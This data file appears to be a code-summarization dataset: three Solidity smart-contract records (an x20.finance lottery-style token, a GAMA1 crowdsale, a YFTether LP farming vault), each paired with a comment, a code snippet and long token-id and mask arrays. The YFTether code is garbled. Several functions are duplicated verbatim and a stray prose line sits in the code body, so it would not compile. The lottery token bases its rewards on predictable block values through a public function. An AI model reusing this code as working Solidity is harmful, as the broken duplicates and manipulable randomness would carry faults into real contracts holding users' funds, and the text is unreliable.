require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\MultiplierToken.sol
pragma solidity ^0.6.0;
contract MultiplierToken is ERC20("x20.finance", "X20"), Ownable {
using SafeMath for uint256;
// Define if the game has started
bool private gameStarted;
// Address of the ETH-X10 liquidity pool on Uniswap
// We need this address to play the game when the transfer
// is from the liquidity pool (and not between holders).
address private liquidityPool;
// Values for random
uint private nonce;
uint private seed1;
uint private seed2;
// One of "chanceRate" chance to win
uint private chanceRate;
constructor() public {
// Send Total Supply to the owner (msg.sender)
_mint(msg.sender, uint256(10000).mul(1e18));
// The game hasn't started yet
gameStarted = false;
}
// Function to start the Game
// Only the owner can call this function
// The game can't be stopped after this action
function startGame(address _liquidityPool, uint _seed1) external onlyOwner {
require(gameStarted == false, 'The game has already started');
require(_liquidityPool != address(0), 'Need the ETH-X20 liquidity pool address');
chanceRate = 100;
liquidityPool = _liquidityPool;
seed1 = _seed1;
seed2 = _randModulus(uint(10000000), seed1);
// The game is starting
gameStarted = true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
return super.transfer(recipient, _getAmount(recipient, msg.sender, amount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
return super.transferFrom(sender, recipient, _getAmount(recipient, sender, amount));
}
// Return the value of 'gameStarted' to know
// if the game has started
function hasGameStarted() public view returns (bool) {
return gameStarted;
}
// Get the right amount when playing (or not) the game
// With possible burn and reward
function _getAmount(address recipient, address sender, uint256 amount) private returns (uint256) {
if (gameStarted) {
_sendReward(amount, sender, recipient);
uint256 burnAmount = _getRandomBurnedAmount(amount);
if (burnAmount != 0) {
_burn(sender, burnAmount);
amount = amount.sub(burnAmount);
}
}
return amount;
}
// Play, and if winning multiply by 10
// if you lose and the sender address is not the liquidity pool
// then the amount doesn't change
function _sendReward(uint256 amount, address sender, address recipient) private {
if (sender == liquidityPool && _play()) {
_mint(recipient, amount.mul(10));
}
}
// Return the random amount to burn based on
// the amount we want to transfer. Between 1% and 10%.
function _getRandomBurnedAmount(uint256 amount) private returns (uint256) {
uint256 burnrate = _randModulus(uint(90), seed2);
return amount.div(burnrate.add(10));
}
// Play the game :
// 1% chance of winning and returning true.
function _play() public returns (bool) {
uint val1 = _randModulus(uint(100), seed1);
uint val2 = _randModulus(uint(100), seed2);
return val1 == val2;
}
function _randModulus(uint mod, uint seed) private returns (uint) {
require(mod > 0, 'Modulus must be greater than 0');
uint rand = uint(keccak256(abi.encodePacked(
nonce,
seed,
now,
block.difficulty,
msg.sender)
)) % mod;
nonce++;
return rand;
}
} | Play, and if winning multiply by 10 if you lose and the sender address is not the liquidity pool then the amount doesn't change | function _sendReward(uint256 amount, address sender, address recipient) private {
if (sender == liquidityPool && _play()) {
_mint(recipient, amount.mul(10));
}
}
| 243,589 | [
1,
11765,
16,
471,
309,
5657,
2093,
10194,
635,
1728,
309,
1846,
29612,
471,
326,
5793,
1758,
353,
486,
326,
4501,
372,
24237,
2845,
1508,
326,
3844,
3302,
1404,
2549,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
4661,
17631,
1060,
12,
11890,
5034,
3844,
16,
1758,
5793,
16,
1758,
8027,
13,
3238,
288,
203,
3639,
309,
261,
15330,
422,
4501,
372,
24237,
2864,
597,
389,
1601,
10756,
288,
203,
5411,
389,
81,
474,
12,
20367,
16,
3844,
18,
16411,
12,
2163,
10019,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GAMA1Token is Ownable, ERC20Basic {
using SafeMath for uint256;
string public constant name = "Gamayun round 1 token";
string public constant symbol = "GAMA1";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
mapping(address => uint256) public balances;
address[] public holders;
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
if (balances[_to] == 0) {
holders.push(_to);
}
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Current token is not transferred.
* After start official token sale GAMA, you can exchange your tokens
*/
function transfer(address, uint256) public returns (bool) {
revert();
return false;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
/**
* @title Crowdsale GAMA token
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
uint256 public constant rate = 10000; // How many token units a buyer gets per wei
uint256 public constant cap = 350000000 ether; // Maximum amount of funds
bool public isFinalized = false;
uint256 public endTime = 1543622399; // End timestamps where investments are allowed
// Thu Nov 15 23:59:59 2018
GAMA1Token public token; // GAMA1 token itself
address public wallet; // Wallet of funds
uint256 public weiRaised; // Amount of raised money in wei
uint256 public firstBonus = 10;
uint256 public secondBonus = 20;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
function Crowdsale (GAMA1Token _GAMA1, address _wallet) public {
assert(address(_GAMA1) != address(0));
assert(_wallet != address(0));
assert(endTime > now);
assert(rate > 0);
assert(cap > 0);
token = _GAMA1;
wallet = _wallet;
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = tokensForWei(weiAmount);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonus(uint256 _tokens, uint256 _weiAmount) public view returns (uint256) {
if (_weiAmount >= 2 ether) {
return _tokens.mul(secondBonus).div(100);
}
return _tokens.mul(firstBonus).div(100);
}
function setFirstBonus(uint256 _newBonus) onlyOwner public {
firstBonus = _newBonus;
}
function setSecondBonus(uint256 _newBonus) onlyOwner public {
secondBonus = _newBonus;
}
function changeEndTime(uint256 _endTime) onlyOwner public {
require(_endTime >= now);
endTime = _endTime;
}
/**
* @dev Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
finalization();
Finalized();
isFinalized = true;
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool tokenMintingFinished = token.mintingFinished();
bool withinCap = token.totalSupply().add(tokensForWei(msg.value)) <= cap;
bool withinPeriod = now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool moreThanMinimumPayment = msg.value >= 0.01 ether;
return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment;
}
function tokensForWei(uint weiAmount) public view returns (uint tokens) {
tokens = weiAmount.mul(rate);
tokens = tokens.add(getBonus(tokens, weiAmount));
}
function finalization() internal {
token.finishMinting();
endTime = now;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
} | GAMA1 token itself
| GAMA1Token public token; | 13,650,636 | [
1,
43,
2192,
37,
21,
1147,
6174,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
611,
2192,
37,
21,
1345,
377,
1071,
1147,
31,
1171,
9079,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x8d3BFa2A1A3f8BE1C15Fc0556D894d378Fe7B30b/sources/browser/yfteFarming.sol | Linkswap ETH/YFTE LP token contract addressYFTether token address | contract YFTether_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
address public constant LPtokenAddress = 0x31b71356290289806CcBa638B0A6c79121a965E9;
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 20e18;
uint public constant disburseDuration = 7 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
Owner cannot recover unclaimed tokens (they are burnt)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 8,468,139 | [
1,
2098,
22270,
512,
2455,
19,
61,
42,
1448,
511,
52,
1147,
6835,
1758,
61,
4464,
2437,
1147,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
